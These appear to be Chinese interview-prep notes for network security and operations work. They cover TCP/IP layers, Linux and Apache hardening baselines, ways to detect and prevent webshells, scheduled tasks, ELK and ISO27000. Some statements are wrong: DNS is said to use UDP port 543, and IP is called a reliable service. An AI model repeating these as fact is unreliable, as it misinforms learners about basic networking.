- 应用层 应用层对应于OSI参考模型的高层,为用户提供所需要的各种服务,例如:FTP、Telnet、DNS、SMTP等.
- 传输层 传输层对应于OSI参考模型的传输层,为应用层实体提供端到端的通信功能,保证了数据包的顺序传送及数据的完整性。该层定义了两个主要的协议:传输控制协议(TCP)和用户数据报协议(UDP). TCP协议提供的是一种可靠的、通过“三次握手”来连接的数据传输服务;而UDP协议提供的则是不保证可靠的(并不是不可靠)、无连接的数据传输服务.
- 网际互联层 网际互联层对应于OSI参考模型的网络层,主要解决主机到主机的通信问题。它所包含的协议设计数据包在整个网络上的逻辑传输。注重重新赋予主机一个IP地址来完成对主机的寻址,它还负责数据包在多种网络中的路由。该层有三个主要协议:网际协议(IP)、互联网组管理协议(IGMP)和互联网控制报文协议(ICMP)。 IP协议是网际互联层最重要的协议,它提供的是一个可靠、无连接的数据报传递服务。
- 网络接入层(即主机-网络层) 网络接入层与OSI参考模型中的物理层和数据链路层相对应。它负责监视数据在主机和网络之间的交换。事实上,TCP/IP本身并未定义该层的协议,而由参与互连的各网络使用自己的物理层和数据链路层协议,然后与TCP/IP的网络接入层进行连接。地址解析协议(ARP)工作在此层,即OSI参考模型的数据链路层。
当你输入一个网址,点击访问,会发生什么?
查找DNS记录
- 查看浏览器缓存
- 查看系统缓存
- 查看路由器缓存
- 查找ISP DNS缓存
- 递归搜索。根据网址,发送一个DNS请求,UDP请求,端口为543,会请求一个DNS服务器,DNS服务器会不断递归查找这个网址的IP
建立连接
- 跟获取到的IP建立TCP连接,在TCP连接上发送HTTP报文
常见的状态码
OSI七层
物理层、数据链路层、网络层、传输层(TCP,UDP)、会话层(RPC,SQL)、表示层(定义数据格式及加密)、应用层(TELNET,HTTP,FTP)
OSI四层
路由协议
你搭建过的最复杂的网络设备是什么
使用过什么硬件设备
Linux运维
启动过程
Linux基线规范
每个公司有每个公司的基线规范体系,但是答题分为下列五个方面
账号管理和授权
- 检查特殊账号,是否存在空密码的账户和root权限账户
- 禁用或删除无用账号
- 添加口令策略:
/etc/login.defs
修改配置文件,设置过期时间、连续认证失败次数 - 禁止root远程登录,限制root用户直接登录。
- 检查su权限。
vi /etc/pam.d/su
添加auth required pam_wheel.so group=test
服务
- 关闭不必要的服务
- SSH服务安全
- 不允许root账号直接登录系统,
PermitRootLogin=no
- 修改SSH使用的协议版本为2
- 修改允许密码错误次数(默认6次),
MaxAuthTries=3
- 不允许root账号直接登录系统,
文件系统
- 设置umask值
vi /etc/profile
添加行umask 027
- 设置登录超时
vi /etc/profile
修改配置文件,将以TMOUT=
开头的行注释,设置为TMOUT=180
日志
- 启用syslogd日志,配置日志目录权限,或者设置日志服务器
- 记录所有用户的登录和操作日志,通过脚本代码实现记录所有用户的登录操作日志,防止出现安全事件后无据可查。https://www.alibabacloud.com/help/zh/faq-detail/49809.htm
IP协议安全要求
- 远程登录取消telnet采用ssh
- 设置/etc/hosts.allow和deny
- 禁止ICMP重定向
- 禁止源路由转发
- 防ssh破解,iptables(对已经建立的所有链接都放行,限制每分钟连接ssh的次数)+denyhost(添加ip拒绝访问)
中间件基线规范(APACHE)
配置
- 账号
- 授权
- 日志
- session过期时间(防ddos
- 绑定监听地址
禁止
- 目录权限
- 访问外部文件
- CGI
- 非法HTTP方法(PUT DELETE)
隐藏
- 服务版本号
- 重定向错误页面
删除
- 配置文件
- 默认安装的无用文件
webshell检测思路
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。
黑客通过浏览器以HTTP协议访问Web Server上的一个CGI文件,是一个合法的TCP连接,TCP/IP的应用层之下没有任何特征,只能在应用层进行检测。黑客入侵服务器,使用webshell,不管是传文件还是改文件,必然有一个文件会包含webshell代码,很容易想到从文件代码入手,这是静态特征检测;webshell运行后,B/S数据通过HTTP交互,HTTP请求/响应中可以找到蛛丝马迹,这是动态特征检测。
静态检测
静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell,并且误报率漏报率会比较高,但是如果规则完善,可以减低误报率,但是漏报率必定会有所提高。
优点是快速方便,对已知的webshell查找准确率高,部署方便,一个脚本就能搞定。缺点漏报率、误报率高,无法查找0day型webshell,而且容易被绕过。
静态检测配合人工
动态检测
Linux下就是nobody用户起了bash,Win下就是IIS User启动cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent和IDS都可以抓现行。Webshell总有一个HTTP请求,如果我在网络层监控HTTP,并且检测到有人访问了一个从没反问过得文件,而且返回了200,则很容易定位到webshell,这便是http异常模型检测,就和检测文件变化一样,如果非管理员新增文件,则说明被人入侵了。
缺点也很明显,黑客只要利用原文件就很轻易绕过了,并且部署代价高,网站时常更新的话规则也要不断添加。
日志检测
使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,称之为:HTTP异常请求模型检测。
语法检测
实现关键危险函数的捕捉方式
统计学检测
webshell由于往往经过了编码和加密,会表现出一些特别的统计特征,根据这些特征统计学习。 典型的代表: NeoPI -- https://github.com/Neohapsis/NeoPI
防范webshell
防范的措施大概有三种,第一种的思路是将专门存放上传文件的文件夹里面的脚本类型文件,解析成其他类型的文件,服务器不会以脚本类型来执行它。第二种是匹配文件夹里的脚本类型文件,将其设置为无法读取及操作。第三种是将文件上传到一个单独的文件夹,给一个二级的域名,然后不给这个虚拟站点解析脚本的权限,听说很多网站都用这种方式。
计划任务
https://blog.csdn.net/kx_nullpointer/article/details/21299873
at
batch
crontab
anacron
:检测停机期间应该执行但是没有执行的任务,将检测到的任务检测一次
自动化运维编写过什么脚本
yum用的什么源(本地自搭,挂载)
awk sed的使用
排错思路,排错经验
网络 防火墙 配置 权限
日志分析ELK的使用和分析
- Elasticsearch是个开源分布式搜索引擎,它的特点有:分布式,零配置,自动发现,索引自动分片,索引副本机制,restful风格接口,多数据源,自动搜索负载等。
- Logstash是一个完全开源的工具,他可以对你的日志进行收集、过滤,并将其存储供以后使用(如,搜索)。
- Kibana 也是一个开源和免费的工具,它Kibana可以为 Logstash 和 ElasticSearch 提供的日志分析友好的 Web 界面,可以帮助您汇总、分析和搜索重要数据日志。
举例-阿里规范 用户历史命令记录
缺点:安全性不够。使用x-pack实现安全认证及权限管理功能
事件发生的分析
用户权限管理(修改)
防火墙
IPsec VPN
安全监控工具
- web进入->堡垒机->内部防御HIDS->内部监控,日志审计
- zabbix性能监控工具
- HIDS
Linux木马查杀
常见的设备有啥
- 防火墙 utm 负载均衡设备
- IPS IDS(HIDS基于主机型入侵检测系统)
- 堡垒机
- 蜜罐
- 网闸
- waf
- 扫描器
- soc(ossim开源安全信息管理系统)
Windows运维
基线规范
木马查杀
脱壳,反汇编
计划任务
控制面板-管理工具-计划任务,在“任务计划程序库”上右键--创建基本任务
schtasks
命令 语法:schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/scomputer [/u [domain]user /p password]] [/ru {[Domain]User | "System"} [/rpPassword]] /?
ISO27000和等保(重点等保)
说一下ISO27000
ISO27000是国际知名的信息安全管理体系标准,适用于整个企业,不仅仅是IT部门,还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理,从而使管理更为有效。保证信息安全不是仅有一个防火墙,或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。
PDCA(plan do check action)管理循环
说一下网络安全法以及等保2.0相关内容
差异
浅谈信息安全等级保护与ISO27000系列标准的异同 ISSN 1009-3044
等保是以国家安全、社会秩序和公共利益为出发点,构建国家的安全保障体系。27000系列是以保证组织业务的连续性,缩减业务风险,最大化投资收益为目的,保证组织的业务安全
共性
算法
排序算法:快排 二分 冒泡
LDAP注入
http://www.4hou.com/technology/9090.html https://blog.csdn.net/quiet_girl/article/details/50716312